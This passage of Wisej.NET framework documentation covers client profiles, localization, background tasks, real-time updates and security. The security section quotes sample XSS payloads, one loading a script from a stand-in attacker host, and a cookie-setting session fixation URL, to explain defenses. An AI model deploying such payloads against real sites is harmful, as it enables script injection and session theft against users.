	Application.EndModal(this.comboBox1, DialogResult.Cancel);
}
' Open the combo box drop down list and wait
' for the user to select an item or close the combo box.
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

	Me.ComboBox1.DroppedDown = True
	AddHandler Me.ComboBox1.DropDownClosed, AddressOf ComboBox1_DropDownClosed
	AddHandler Me.ComboBox1.SelectedIndexChanged, AddressOf ComboBox1_SelectedIndexChanged

	' wait for the user to either pick an item or close the drop down.
	Dim result As DialogResult = Application.DoModal(Me.ComboBox1)

	' code execution will resume here.

End Sub

Private Sub ComboBox1_SelectedIndexChanged(sender As Object, e As EventArgs)

	RemoveHandler Me.ComboBox1.DropDownClosed, AddressOf ComboBox1_DropDownClosed
	Application.EndModal(Me.ComboBox1, DialogResult.OK)

End Sub

Private Sub ComboBox1_DropDownClosed(sender As Object, e As EventArgs)

	Application.EndModal(Me.ComboBox1, DialogResult.Cancel)

End Sub

The code above opens a dropdown and waits for user action. DoModal returns DialogResult.Cancel if closed without selection, or DialogResult.OK otherwise.

This provides powerful control over code execution and user action synchronization.

Application.DoModalAsync(component) will be added in a future build.

Client Profiles

Client Profiles are device-related properties associated with a name that match to the client device when the page loads or the browser resizes.

ResponsiveProperties are standard .NET properties available at design time (serializable) that use the [ResponsiveProperty] attribute. These properties can hold multiple values associated with a Client Profile.

Custom ClientProfiles.json

You can define custom client profiles by adding the ClientProfiles.json file to your project. Click Add -> New Item, select Wisej.NET 3 and select ClientProfiles:

It will add the file ClientProfiles.json containing the pre-configured profiles:

/**
 * Client Profiles
 *
 * You can add additional profiles or modify the default ones by
 * placing a ClientProfiles.json file in the /bin directory of the
 * application.
 *
 * Or add it to the root files and set it to: "EmbeddedResource", or "Content" or "Copy if newer".
 *
 * Profiles with names matching the names in the default file will
 * override the corresponding matching profile definition.
 *
 * Profile Properties:
 *
 *	name:            The name of the profile.
 *	minWidth:        The minimum width of browser in pixels.
 *	maxWidth:        The maximum width of browser in pixels.
 *	minScreenWidth:  The minimum width of the device in pixels.
 *	maxScreenWidth:  The maximum width of the device in pixels.
 *	device:          A string or regular expression to match the name of the device returned by the client browser ("Mobile", "Tablet" or "Desktop").
 *	userAgent:       A string or regular expression to match the user-agent string returned by the client browser.
 *	landscape:       A boolean flag that indicates that the profile matches devices in landscape mode.
 */
{
    "profiles": [
        {
            "name": "Phone",
            "device": "Mobile",
            "landscape": false
        },
        {
            "name": "Phone (Landscape)",
            "device": "Mobile",
            "landscape": true
        },
        {
            "name": "Tablet",
            "device": "Tablet",
            "landscape": false
        },
        {
            "name": "Tablet (Landscape)",
            "device": "Tablet",
            "landscape": true
        },
        {
            "name": "Small Desktop",
            "device": "Desktop",
            "maxWidth":  1024
        }
    ]
}
Property
Description

name

Unique name assigned to the profile (e.g., "Large Monitor", "Galaxy Tablet", "Airport Kiosk")

minWidth

When > 0, specifies minimum browser width to qualify the profile (e.g., 500px for width >= 500px)

maxWidth

When > 0, specifies maximum browser width to qualify the profile (e.g., 1500px for width <= 1500px)

minScreenWidth

When > 0, specifies minimum screen width to qualify the profile (e.g., 500px for screen width >= 500px)

maxScreenWidth

When > 0, specifies maximum screen width to qualify the profile (e.g., 1500px for screen width <= 1500px)

device

Regular expression matching browser-detected device type ("Desktop", "Mobile", or "Tablet"). Example: "(Tablet)|(Mobile)" matches either "Tablet" or "Mobile"

userAgent

landscape

Boolean indicating if profile matches when browser width exceeds height

When using the Chrome mobile emulator to switch from desktop to mobile, refresh the page to update client profiles based on screen width or user agents, as these properties don't update dynamically.

ResponsiveProfileChanged

The ResponsiveProfileChanged event fires on:

  • Application

  • ContainerControl (Form, Page, Desktop, UserControl)

  • DataGridView

  • ListView

This event allows your code to adapt controls to the client profile without limitations. While responsive properties are useful and easy to use (especially at design time), handling this event in code provides complete control over adaptations.

Localization

Wisej.NET fully supports localization using .NET and Visual Studio standard localization features.

{% file src="../.gitbook/assets/wisej.localization.zip" caption="Download Wisej.Localization.zip" %}

Localizing the UI

All top-level controls in Wisej.NET support UI localization.

To enable localization features for a Form, Page, UserControl, or Desktop component:

  1. In design mode, set the Localizable property to true

  2. Once enabled, you can switch languages in the designer

Use the Language dropdown property to select the language for localization:

UI localization allows changing multiple properties per language switch, commonly:

  • Size

  • Location

  • Text

  • Colors

  • Images

Localizing the System

Wisej.NET supports full localization of system resources including:

  • MessageBox buttons

  • Calendar control labels (month/day names)

  • Standard numeric, percentage and currency formatting/parsing

Built-in Formats

  • Numeric, Percentage, Date, and Currency

    Handled automatically for all supported languages worldwide.

  • Date Labels: Months and Day Names

    Handled automatically for all supported languages worldwide.

  • System Resources

    Wisej.NET system resources are localized in:

    • English

    • German

    • French

    • Italian

    • Turkish

    • Spanish

    • Portuguese

    For other languages, create a Resources-[LANG].resx file in either:

    • Root project folder

    • /Resources folder

    Label
    Description
    Default Value

    $Ok

    OK Button in MessageBox/system dialogs

    OK

    $Cancel

    Cancel Button in MessageBox/system dialogs

    Cancel

    $Yes

    Yes Button in MessageBox/system dialogs

    Yes

    $No

    No Button in MessageBox/system dialogs

    No

    $Retry

    Retry Button in MessageBox/system dialogs

    Retry

    $Ignore

    Ignore Button in MessageBox/system dialogs

    Ignore

    $Abort

    Abort Button in MessageBox/system dialogs

    Abort

    $Next year

    Next-year navigation tooltip in calendar controls

    Next Year

    $Next month

    Next-month navigation tooltip in calendar controls

    Next Month

    $Last year

    Last-year navigation tooltip in calendar controls

    Last Year

    $Last month

    Last-month navigation tooltip in calendar controls

    Last Month

    $Offline

    Offline connectivity loss notification

    Offline

Localizing Resources

Beyond system localization, you'll likely need to localize application resources (strings, images, etc.).

var RS = new ResourceManager("Localization.Resources", this.GetType().Assembly);
var title = RS.GetString("Title");
Dim RS as ResourceManager = new ResourceManager("Localization.Resources", Me.GetType().Assembly)
Dim title as String = RS.GetString("Title")

Detecting/Switching Browser Language

Wisej.NET automatically detects browser language and switches application/system resources accordingly.

You can force a specific language for the application (user session) by:

  1. Using one of these methods:

    • Assign Application.CurrentCulture property

    • Add lang URL parameter (e.g., http://localhost/myapp?lang=de for German)

When current culture changes from the session's initial culture, Wisej.NET raises the Application.CultureChanged event.

Designer-localized controls update only at creation. No built-in mechanism exists to change already-created controls. To update existing controls either:

  • Re-create the container and call InitializeControl

  • Write custom code to reapply resources

RightToLeft

The following controls do not fully support RightToLeft at the moment: DataGridView, ListView, PropertyGrid.

RightToLeft Property

  • Force a control to ignore right-to-left mode by setting the value to No

  • Force right-to-left mode by setting the value to Yes

This property is localizable.

RightToLeftLayout Property

Set this property to:

  • false to prevent Wisej.NET from mirroring layout in right-to-left mode

  • true to mirror horizontal location of direct children in right-to-left mode

This property is localizable.

Application.RightToLeft Property

  • Can be forced to true or false programmatically

Themes

All Wisej.NET themes support RightToLeft mode with minimal required changes. When a widget operates in right-to-left mode, it has the "rightToLeft" state allowing theme adaptation.

Most cases need no changes. Typical right-to-left adjustments include:

  • Mirroring icons

  • Switching single side border location

Example of mirroring icons with a state style:

"rightToLeft":
{
  "styles":
  {
    "transform": "scale(-1, 1)"
  }
},

TreeView arrows requiring 45-degree rotation when expanded and mirroring can adapt using these states:

"rightToLeft":
{
  "styles":
  {
    "transform": "rotateZ(180deg)"
  }
},
"opened-rightToLeft":
{
  "styles":
  {
    "transform": "rotateZ(135deg)"
  }
},

The composite state "opened-rightToLeft" qualifies styles and properties only when the widget has both states set simultaneously.

Real Time Web Applications

The real-time web is a network web using technologies and practices that enable users to receive information as soon as it is published by its authors, rather than requiring that they or their software check a source periodically for updates.

Fundamentals of Real Time Web Applications

In our view, a Real Time Web Application must be able to:

  • Update the user's browser (client) seamlessly at any time, as if directly connected to the server

  • Receive events and updates from the client without delay

Web-based video games exemplify Real Time Web. Wisej.NET extends this concept to Line of Business Applications.

WebSocket or Polling

When the server supports WebSocket connections, Wisej.NET "pushes" real-time updates to the client at any time. A background task can update connected clients asynchronously by calling Application.Update().

Some servers or browsers may not support WebSocket connections and can only use HTTP requests. In these cases, the server cannot contact the browser directly since each HTTP request starts and terminates when the browser contacts the server. One solution is to create a Wisej.Web.Timer to periodically fire server events and allow Wisej.NET to update the client.

SignalR emulates WebSocket connections using "long polling" - keeping a pending request open to allow server responses, then opening a new suspended request. However:

  • Each request blocks a thread

  • Prone to timeout errors

  • Browsers limit open AJAX requests (4-8), risking request blocking

Without WebSocket support, use automatic polling in Wisej.NET:

  • Call Application.StartPolling() and Application.EndPolling()

Wisej.NET sends all updates since the last request back to the client with each request. With a background task but no WebSocket connection, the browser updates on every event (timer, click, etc.).

Main Real Time Features in Wisej.NET

Feature
Description

Push updates

Wisej.NET applications can update the client during a request or asynchronously from a background task

Modal workflow

Server-side business logic, UI logic, or UI code can display modal dialogs/message boxes and suspend execution until closure

Complete session state

Application state stays synchronized between client/server - refresh at any time to reload full state including modals

Live events

Server code responds to real-time pointer events (mouse movement, wheel, control enter/leave)

Remote methods

Server code can call client JavaScript and vice-versa at any time

Drawing and painting

Background Tasks

Background Tasks are one of the most important features of Wisej.NET. No other Web development system allows developers to launch background tasks (threads) on the server and update the client asynchronously with the same level of simplicity and robustness.

What is a Background Task?

A Background Task runs on the server in the background after the client request has completed, allowing users to continue working while the task executes.

Background tasks operate independently from the session and user that initiated them. They run as separate threads without any session knowledge. You can even start separate threads when an application first loads, before any session or user request exists.

To run code when an application first loads, create a static constructor on any class. The most appropriate would be Program.cs or the first page or window created for new sessions.

What can I do in a Background Task?

Anything - connect to other servers, query databases, use the file system, access remote services, etc.

How do I terminate a Background Task?

Simply return from the call. A background task (like any thread) starts by calling your start method and runs until you exit it. Typically it's a loop that checks conditions and uses Thread.Sleep(ms) periodically, exiting when complete.

Update the UI

Wisej.NET provides a straightforward way to launch a Background Task bound to a specific session, allowing code to interact with the user's UI in real-time.

void button1_Click(EventArgs e)
{
  Application.StartTask(() =>
  {
    // Change the text of button 1 from 1 to 10 in the background.
    for (int i = 0; i < 10; i++)
    {
      this.button1.Text = i.ToString();

      // We are running out-of-bound and we need to push the updates
      // to the client using Application.Update(). It can be called at any time
      // and interval. It simply flushes the changed back to the client.
      Application.Update(this);

      Thread.Sleep(1000);
    }
  });
}
Private Sub button1_Click(e As EventArgs)

  Application.StartTask(Sub()

    ' Change the text of button 1 from 1 to 10 in the background.'
    For i = 0 To 10
      Me.button1.Text = i.ToString()

      ' We are running out-of-bound and we need to push the updates'
      ' to the client using Application.Update(). It can be called at any time'
      ' and interval. It simply flushes the changed back to the client.'
      Application.Update(this)

      Thread.Sleep(1000)
    Next
  End Sub)

End Sub

The example above updates the specific button1 in the session that started the task because the thread is started using Application.StartTask().

Application.StartTask() starts a new thread and updates the context to match the calling session. If using Thread.Start() instead, the thread method couldn't access session objects unless wrapped in Application.RunInContext().

When code runs in context (either in-bound or out-of-bound for background tasks), you can call Application.Update() anytime to push UI updates to the client.

Systems Without WebSocket

Older clients or servers may not support WebSocket connections, preventing out-of-bound UI updates from background tasks reaching the client browser.

Wisej.NET provides alternative client updates using Application.StartPolling(milliseconds) and Application.EndPolling() to enable periodic server polling. These methods are ignored when using WebSocket connections.

// this has no effect when the client and server are connected using WebSocket.
Application.StartPolling(1000);

Application.StartTask(() => {

    for (int i = 0; i < 100; i++) {
        this.label1.Text = "Counting..." + i;
        Thread.Sleep(1000);
    }

    // this has no effect when the client and server are NOT connected using WebSocket.
    Application.Update(this);

    // this has no effect when the client and server are connected using WebSocket.
    Application.EndPolling();
});
' this has no effect when the client and server are connected using WebSocket.'
Application.StartPolling(1000)

Application.StartTask(Sub()

    For i = 0 To 100
        Me.label1.Text = "Counting..." + i
        Thread.Sleep(1000)        
    Next

    ' this has no effect when the client and server are NOT connected using WebSocket.'
    Application.Update(this)

    ' this has no effect when the client and server are connected using WebSocket.'
    Application.EndPolling()
    
End Sub)

Check with Microsoft and other technology providers to determine which platforms support WebSocket connections

Background Task with Multiple Users

Since Background Tasks aren't bound to specific sessions, they can perform global tasks serving multiple users simultaneously. While the previous example showed a single-session task, we can create session-independent tasks.

Examples include chat servers, stock market watchers, or any task periodically checking resources. The recommended approach is firing events from the service (background task) and letting user sessions subscribe to these events.

Below is a simplified service firing events every second with a subscribing client.

static class Program
{
  static Program()
  {
    // Start the service.
    BackgroundService.Start();
   }
   ...
}

public static class BackgroundService
{
  private static Thread _thread;
  private static bool _stop = false;

  public static event BackgroundServiceEventHandler Message;

  public static void Start()
  {
    if (_thread == null)
      _thread = new Thread(ThreadStart);

    _stop = false;
    _thread.Start();
  }

  private static void ThreadStart()
  {
    var i = 0;
    while (!_stop)
    {
      Thread.Sleep(1000);

      i++;
      if (Message != null)
        Message(null, new BackgroundServiceEventArgs("Hello #" + i));
    }
  }

  public static void Stop()
  {
    _stop = true;
  }
}
Module Program

  Sub New()
    ' Start the service.'
    BackgroundService.Start()
  End Sub
  ...
End Mdule

Module BackgroundService

  Private _thread As Thread
  Private _stop As Boolean

  Public Event Message As BackgroundServiceEventHandler

  public Sub Start()
  
    If _thread = null Then
      _thread = new Thread(ThreadStart)
    End If
    
    _stop = false
    _thread.Start()
  End Sub

  Private Sub ThreadStart()

    Dim i as Int32
    While Not _stop
    
      Thread.Sleep(1000)

      i++
      If Not Message Is Nothing Then
        Message(Nothing, New BackgroundServiceEventArgs("Hello #" + i))
      End If
      
    End While
  End Sub

  Public Sub Stop()
    _stop = true
  End Sub
  
End Module

Handling Events from the Background Service

private void button1_Click(object sender, EventArgs e)
{
  // Any number of clients can attach to the event from the Background service.
  if (_subscribed)
    BackgroundService.Message -= BackgroundService_Message;
  else
    BackgroundService.Message += BackgroundService_Message;

  _subscribed = !_subscribed;
  this.button1.Text = _subscribed ? "Unsubscribe" : "Subscribe";
}
private bool _subscribed;

// The event handler is called by the Background service thread, so the thread
// doesn't have any knowledge of the session, but "this" refers to this specific
// object, which allows Wisej.NET to restore the context while executing the code below.

private void BackgroundService_Message(object sender, BackgroundServiceEventArgs e)
{
  // Application.Update() can optionally call a code block in context before updating the UI.
  Application.Update(this, () =>
  {
    this.label1.Text = e.Message;
  });
}
Private Sub button1_Click(sender As Object, e As EventArgs)

  ' Any number of clients can attach to the event from the Background service.'
  If _subscribed Then
    RemoveHander BackgroundService.Message, AddressOf BackgroundService_Message
  Else
    AddHandler BackgroundService.Message, AddressOf BackgroundService_Message
  End If

  _subscribed = Not _subscribed
  Me.button1.Text = If (_subscribed, "Unsubscribe", "Subscribe")
End Sub

Private _subscribed as Boolean

' The event handler is called by the Background service thread, so the thread'
' does not have any knowledge of the session, but "this" refers to this specific'
' object, which allows Wisej.NET to restore the context while executing the code below.'

Private Sub BackgroundService_Message(sender As Object, e As BackgroundServiceEventArgs)

  ' Application.Update() can optionally call a code block in context before updating the UI.'
  Application.Update(Me, Sub()
    Me.label1.Text = e.Message
  End Sub)
  
End Sub

The power and simplicity of background tasks in Web applications through the Wisej.NET framework allows handling the browser from the server as if it were a screen directly connected to the server.

Security

Wisej.NET is secure by design and supports all the latest security defenses. This document covers common threats and how they are handled.

HTML/Script Injection

A key difference between traditional HTML-based applications (ASP.NET/MVC/JSP) and Single Page Applications (SPAs) is how they handle HTML:

  • Traditional apps concatenate HTML strings on the server and parse HTML requests

  • SPAs (like Wisej.NET Real Time Web Applications) don't build or parse HTML strings

In Wisej.NET, DOM manipulation happens directly in the browser through Ajax JSON packets. This prevents HTML/script injection since HTML isn't used and scripts remain as text when manipulating the DOM.

Cross Site Scripting (XSS)

Cross-Site Scripting can affect Wisej.NET applications when displaying unencoded or unsanitized HTML text.

A malicious user might enter text like this in a TextBox or DataGridView cell:

<img src="x" src="alert('Hello')" />

<!-- Or better -->

<img src="x" src="e=document.createElement('script');
                  e.src='http://spectre.com/bad.js';
                  document.head.append(e)" />

If displayed as HTML, this script executes. When shown to other users, it could potentially access screen content.

By default, Wisej.NET encodes all text sent to the browser, displaying HTML as plain text. However:

  1. Setting AllowHtml to true on controls (labels, grid columns, buttons, tree nodes) allows HTML execution

  2. Using MessageBox or AlertBox with user-entered text executes HTML by default since AllowHtml is true

You can either sanitize text or disable HTML:

MessageBox.Show(badText, allowHtml:false);

Starting from Wisej.NET 3.0.10, we added a global method to process any user input, regardless of source control. Assign your method to TextUtils.ConvertToString(owner, value). Default implementation:

TextUtils.ConvertToString = (owner, value) =>
{
  if (value == null)
    return null;
  else if (value is string)
    return (string)value;
  else if (value is DateTime)
    return ((DateTime)value).ToString("yyyy-MM-ddTHH:mm:ss.fff", CultureInfo.InvariantCulture);
  else
    return Convert.ToString(value);
};
TextUtils.ConvertToString = 
  Function(owner, value)
    If value Is Nothing
      Return Nothing;
    Else If TypeOf value Is String
      Return CType(value, String)
    Else If TypeOf value Is DateTime
      return CType(value, DateTime).ToString("yyyy-MM-ddTHH:mm:ss.fff", CultureInfo.InvariantCulture)
    Else
      Return Convert.ToString(value)
  End Function

Your implementation of TextUtils.ConvertToString(owner, value) can "clean up" any user input before assignment to the control. The owner argument is the receiving component.

HttpOnly Cookies

Cookies managed through Wisej.Web.Application.Cookies do not support setting the HttpOnly flag because they are written using JavaScript to be compatible with WebSocket connections. However, you can create HttpOnly cookies effortlessly by leveraging the underlying ASP.NET or ASP.NET Core HttpContext. Refer to the code example below for guidance.

Starting from Wisej.NET 4 Wisej.Base.Cookie supports the HttpOnly property that was added as an experimental feature in 3.5.13.

using System.Web;

var context = HttpContext.Current;
context.Response.Cookies.Add(new System.Web.HttpCookie("Test") {
    Value = "I'm an HttpOnly cookie",
    HttpOnly = true,
});
using Microsoft.AspNetCore.Http;

var context = new HttpContextAccessor().HttpContext;
context.Response.Cookies.Append(
	"Test", 
	"I'm an HttpOnly cookie", 
	new CookieOptions
	{
		HttpOnly = true
	});

To enable IHttpContextAccessor, add builder.Services.AddHttpContextAccessor(); in Startup.cs.

When WebSocket is enabled (default), you can write HttpOnly cookies only during:

  • Initial Program.Main() execution

  • Application.ApplicationStart event handling

  • Application.ApplicationRefresh event handling

  • Any time when Application.IsWebSocket returns false

However, all cookies set with HttpOnly remain accessible in the Application.Cookies collection.

Session Hijacking

Session hijacking affects all web applications maintaining sessions. Sessions require either:

  • A session cookie

  • A session ID in the URL

Wisej.NET supports both cookie and cookieless modes. For security:

  1. Wisej.NET generates a client fingerprint hash using browser information

  2. Each request is validated against this fingerprint

  3. Mismatched fingerprints trigger new sessions

  4. WebSocket connections add protection - impossible to attach multiple live sockets to one session

  5. SSL can be enforced (https: and wss: for WebSocket) via the secure setting

With WebSocket, spoofed requests to active sessions are impossible. With HTTP-only, the attacker's computer must match the original client's browser version, OS, and IP address.

The OWASP-described session hijacking attack is fully blocked by Wisej.NET server-side, making the system "secure by design".

Session Fixation

Session fixation is a form of "reverse session hijacking". The attacker creates a valid session, then "fixes" it on the victim's machine through some means.

The attacks described by OWASP are impractical. For example, this has never worked in any browser: http://website.kom/<script>document.cookie="sessionid=abcd";</script>

After "fixing" the session, if the victim logs in, the attacker's session becomes authenticated. This naive attack fails with Wisej.NET - the server immediately invalidates the "fixed" session ID and assigns a new one to the victim.

The OWASP-described session fixation attack is fully blocked by Wisej.NET server-side, making the system "secure by design" (unless "validateClient" is disabled in Default.json).

DoS Attacks

Denial of service (DoS) protection isn't built into Wisej.NET since it would be too late once requests reach the HTTP handler. While we could mitigate DoS events, IIS thread usage makes handler- level protection insufficient. DoS attacks are better handled at the OS level before reaching the web server (Apache/IIS).

Authentication

Wisej.NET supports any .NET authentication method. Since nothing displays to users without your application creating it, you can perform any authentication before enabling resource access.

Beyond code authentication, Wisej.NET supports standard IIS authentication methods and exposes user credentials through Application.UserIdentity.

Sensitive Data Protection

Traditional HTML-based systems mix JavaScript, callbacks, postbacks, services, and API keys on the client. Potential intruders can inspect code/page/source for sensitive information.

This vulnerability increases with client-side-only SPAs (ExtJS, standalone qooxdoo, dojo). These require exposing business logic, visual logic, and access keys on the client. Any client-side code is inspectable.

With Wisej.NET, no application code reaches the client unless explicitly placed there. Everything runs securely on the server, with only property updates and events communicated between server and client.

Disabled or Hidden Controls

Wisej.NET performs server-side verification that "executable" controls triggering click events are enabled and visible. This prevents users from using browser dev-tools to activate hidden or disabled controls.

Content Security Policy

  • Syncfusion

  • Telerik

  • Most component vendors

The simplest CSP matches DevExpress server-side controls policy:

<head>
  <meta http-equiv="Content-Security-Policy" content="default-src 'self';  
        script-src 'unsafe-inline' 'unsafe-eval' 'self';  
        style-src 'unsafe-inline' 'self';  
        img-src 'self' data:" />
</head>
<system.webServer>
  <httpProtocol>
    <customHeaders>
      <add name="Content-Security-Policy" 
           value="default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval' 'self'; 
	          style-src 'unsafe-inline' 'self'; img-src 'self' data:" />
    </customHeaders>
  </httpProtocol>
</system.webServer>

The strictest CSP requires a random nonce. Configuration example:

<head>
  <meta http-equiv="Content-Security-Policy" content="default-src 'self';  
        script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'self';  
        style-src 'unsafe-inline' 'self';  
        img-src 'self' data:" />
  <script nonce='{random}' src="wisej.wx"></script>      
</head>
<system.webServer>
  <httpProtocol>
    <customHeaders>
      <add name="Content-Security-Policy" 
           value="default-src 'self'; script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'self'; 
	          style-src 'unsafe-inline' 'self'; img-src 'self' data:" />
    </customHeaders>
  </httpProtocol>
</system.webServer>

When using the random nonce you have to actually generate a random identifier. In some cases you may want to change it every time the application is loaded in the browser. Which requires the Default.html page to be modified on the server side on each request.

There are several ways to accomplish that. You can preprocess the Default.html file using a server side handler and replace a placeholder. Or you can use dynamic HTML pages: i.e. Default.aspx or Default.cshtml (razor) pages or any other dynamic html system.

Examples using Default.aspx and Default.cshtml:

<%@ Page Language=C# %>

<!DOCTYPE html>
<html>
<head>
    <title>WisejWebPageCSP</title>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=Edge;IE=11" />
    <meta http-equiv="Cache-Control" content="no-store" />

    <script runat="server">
        string nonce = (new Random()).Next(10000,99999).ToString();
    </script>

    <meta http-equiv="Content-Security-Policy" content="default-src 'self';
        script-src 'nonce-<%=nonce%>' 'unsafe-inline' 'unsafe-eval' 'self';
        style-src 'unsafe-inline' 'self';
        img-src 'self' data:" />

    <script nonce='<%=nonce%>' src="wisej.wx"></script>

</head>
<body>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
    <title>WisejWebPageCSP</title>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=Edge;IE=11" />
    <meta http-equiv="Cache-Control" content="no-store" />

    @{ string nonce = (new Random()).Next(10000, 99999).ToString(); }

    <meta http-equiv="Content-Security-Policy" content="default-src 'self';
        script-src 'nonce-@nonce' 'unsafe-inline' 'unsafe-eval' 'self';
        style-src 'unsafe-inline' 'self';
        img-src 'self' data:" />

    <script nonce='@nonce' src="wisej.wx"></script>

</head>
<body>
</body>
</html>

Generate a new Session Id

Since 3.5.2 Use Application.RefreshSessionId() to generate a new session id without losing the current session. Best practice: generate new session id after user authentication.

Generating a new session id invalidates any captured sessions immediately.

Application.RefreshSessionId() can be called anytime, without affecting the current session.

Software Bill of Materials (SBOM)

We are publishing the Software Bill of Materials (SBOM) for Wisej.NET. By doing so, we aim to support our customers who are required to create and maintain their own SBOMs to comply with the Cyber Resilience Act or other regulatory requirements. The SBOM provides comprehensive information about the components and dependencies included in Wisej.NET, enabling organizations to achieve greater transparency, manage security risks effectively, and meet legal or policy obligations.

A “software bill of materials” (SBOM) has emerged as a key building block in software security and software supply chain risk management. An SBOM is a nested inventory, a list of ingredients that make up software components.

The European Cyber Resilience Act (CRA) — a set of rules elevating security standards for digital products in the European Union — is another significant security regulation with a prominent SBOM requirement.

This table provides a summary of the dependencies in Wisej.NET. To view the complete SBOM in JSON format, following the SPDX schema, please download the file below.

Name
Version
License

WinForms

4.8.0

MIT

WinForms

8.0.0

MIT

Qooxdoo

5.1.0

LGPL, EPL, MIT

Pako

1.0.1

MIT

EmbedIO

3.5.2

MIT

Visual Studio Code

Wisej.NET is a powerful web framework for building real-time web applications using .NET. While Visual Studio is the primary IDE for Wisej.NET development, you can also integrate and develop Wisej.NET applications in Visual Studio Code.

The Wisej.NET Designer is not supported in Visual Studio Code.

Prerequisites

Before integrating Wisej.NET with Visual Studio Code, ensure you have the following installed:

Setting Up Wisej.NET in Visual Studio Code

1. Open the Wisej.NET Project

  1. Launch Visual Studio Code.

  2. Click on File → Open Folder and select your Wisej.NET project directory.

  3. Wait for Visual Studio Code to load the project dependencies.

2. Configure Build and Debugging

  1. Navigate to the Run and Debug tab (Ctrl+Shift+D).

  2. Click C# Project as the Run and Debug target.

  3. The necessary configuration files (launch.json and tasks.json) will be generated automatically.

3. Run the Wisej.NET Application

  1. Open the Run and Debug tab.

  2. Select the generated C# Project configuration.

  3. Click Start Debugging (F5).

  4. The application will start, and you can access it via the local development server.

Troubleshooting

  • Ensure that the correct .NET SDK version is installed and matches your project's requirements.

  • If dependencies fail to load, run dotnet restore in the terminal.

  • If debugging does not start, check the launch.json file and verify that the correct target framework is specified.

Application

Represent a Wisej.NET application session. Provides methods and events to manage the application in the context of the current session

The Application class exposes to the application everything it needs to interact with the session, the user's browser, and all system events. It is a static class but all the properties, methods, and events are isolated by session.

You can use it to:

  • Save custom data in the Application.Session object.

  • Read the Default.json configuration in the Application.Configuration property.

  • Handle application's exceptions using the Application.ThreadException event.

  • Handle the session disposal using the Application.ApplicationExit event.

  • Manage session expiration with the Application.SessionTimeout event.

  • Access the logged-in user through the Application.User and Application.UserIdentity properties.

  • Read the current Application.Url and the Application.StartupUrl to extract the arguments, or use Application.QueryString for the collection of the argument name and values in the URL.

  • Download files to the browser with Application.Download() or open them in the browser using Application.DownloadAndOpen().

  • Change the culture programmatically by setting the Application.CurrentCulture property.

  • Read the current theme using the Application.Theme property.

Session Object

Application.Session is a dynamic object that can store any kind of object. You can use it as if it was a regular object like this:

Notice that since Application.Session is a dynamic object you can just add any field. You are just limited by the name since it must be compilable. If you want to use a variable name with dots, dashes, or any non-compilable character, use it through the indexer:

Option Strict Off

In VB.NET in order to use dynamic fields, you must have Option Strict Off. Otherwise, always use the Session with the (name) indexer.

Server Variables

  • UserAgent is "HTTP_USER_AGENT"

  • UserHostAddress is "REMOTE_ADDR"

  • UserHostName is "REMOTE_HOST"

  • UserLanguages is "HTTP_ACCEPT_LANGUAGE" split by a comma

  • ServerName is "SERVER_NAME"

  • ServerPort is "SERVER_PORT" parsed into an integer

Different web servers add different server variables. Don't expect all the server variables to be always present.

Application Events

There are many global events exposed by the Application class. They let your code receive all sorts of notifications from the Wisej.NET infrastructure.

Exception Handling

In addition to the regular exception handling that you have in your code, Wisej.NET lets you handle any unhandled exception through the Application.ThreadException event.

Exceptions are suppressed simply by handling the Application.ThreadException event. Once you attach a handler, it is up to your code to log, show, do nothing, or rethrow the exception.

Session Events

There are three events that are relevant to the session management system in Wisej:

Threading

Use Application.ThreadBegin and Application.ThreadEnd to receive a notification every time Wisej.NET starts a new thread processing code in your application, including Application.StartTask(). This event can be used to clear or initialize thread static variables using the advanced coding pattern below:

Idle

Use the Application.Idle event to execute code after the current request is executed, and all the events have been dispatched but before the response is sent to the client.

You can achieve the same using the Application.Post() method (similar to Control.Invoke) to register a code block that will be executed at the end of the current request.

Event Filter

With Application.AddEventFilter(filter) you can inject an object into the Wisej.NET event pipeline and pre-process all the events that coming from the browser for all the controls in the application.

With Application.AddEventFilter(filter) you can inject add an object into the Wisej.NET event pipeline and pre-process all the events that are coming from the browser for all the controls in the application.

All you need to do is implement the Wisej.Core.IEventFilter single method PreFilterEvent(e). You may also implement that IEventFilter interface in a control class and register a specific control as an event filter.

Return true to indicate that your code has handled the event and to stop Wisej.NET from dispatching it any further, or return false to let Wisej.NET continue dispatching the event.

Event filters are invoked in the same order they are added.

Cookies

There are two cookies objects in Wisej:

  1. Application.Cookies is a collection of Cookie objects.

You can read the cookies from the browser either using the Application.Cookies collection or directly through the CookieStorage. The Application.Cookies collection is populated when the application starts up. It receives all the cookies that are available on the browser.

Adding, changing, deleting, reading cookies is all done using the Application.Cookies collection:

Remember that when using the Cookies collection cookies are loaded from the browser only once when the application is loaded (or refreshed) and updated back in the browser only after the request is completed. Adding a cookie to the collection doesn't save it to the browser until the current execution is completed.

Browser Object

Consider the Application.Browser object as a representation of the individual user's browser window through the Wisej.Core.ClientBrowser class. Wisej.NET initializes and updates the object with all sorts of information regarding the user's browser:

  • Device is a string that identifies the device type: "Mobile", "Tablet" or "Desktop".

  • Type is a string that identifies the browser type.

  • ScreenSize is the size of the user's device screen.

  • Size instead is the size of the browser window.

Refer to the API documentation for the full list of properties.

Features

The Browser.Feature object is a dynamic object that defines the features that are supported by the browser. It's an ever changing list that depends on the browser and the features that Wisej.NET detects at startup. Currently, it is implemented like this:

To test if a browser supports a specific feature, simply check the field name: i.e. Application.Browser.Features.speechRecognition == true.

UserData

Browser.UserData is also a dynamic object that is populated by Wisej.NET at startup. It allows a web application to save and send custom data to the Wisej.NET application before it is loaded. It is mostly useful to process a POST request, and OAuth2 and other Single Sign On (SSO) systems.

For example, if another system redirects the user to your Wisej.NET web application using a POST request because it is also sending some data, you cannot receive the POSTed data in Program.Main() because the Wisej.NET application is started in an Ajax request.

In cases like this, change your Default.html page into a Default.aspx page (don't forget to change it also in Default.json), read the POSTed data in the code behind and save it to a JavaScript variable named Wisej.userData.

The sample startup page above receives "Name" and "LastName" from a POST request, saves them into a JavaScript object and saves the object in Wisej.userData. It will be available to the Wisej.NET application as a dynamic object in Application.Browser.UserData.

Browser Storage

Access the browser's storage system using the Application.Brower object. All the storages have the same methods and work exactly the same. You can read, write, and enumerate the values either using a callback or the async/await pattern. All methods are asynchronous because they all interact with the browser directly.

There are three storages supported:

Favicon & Title

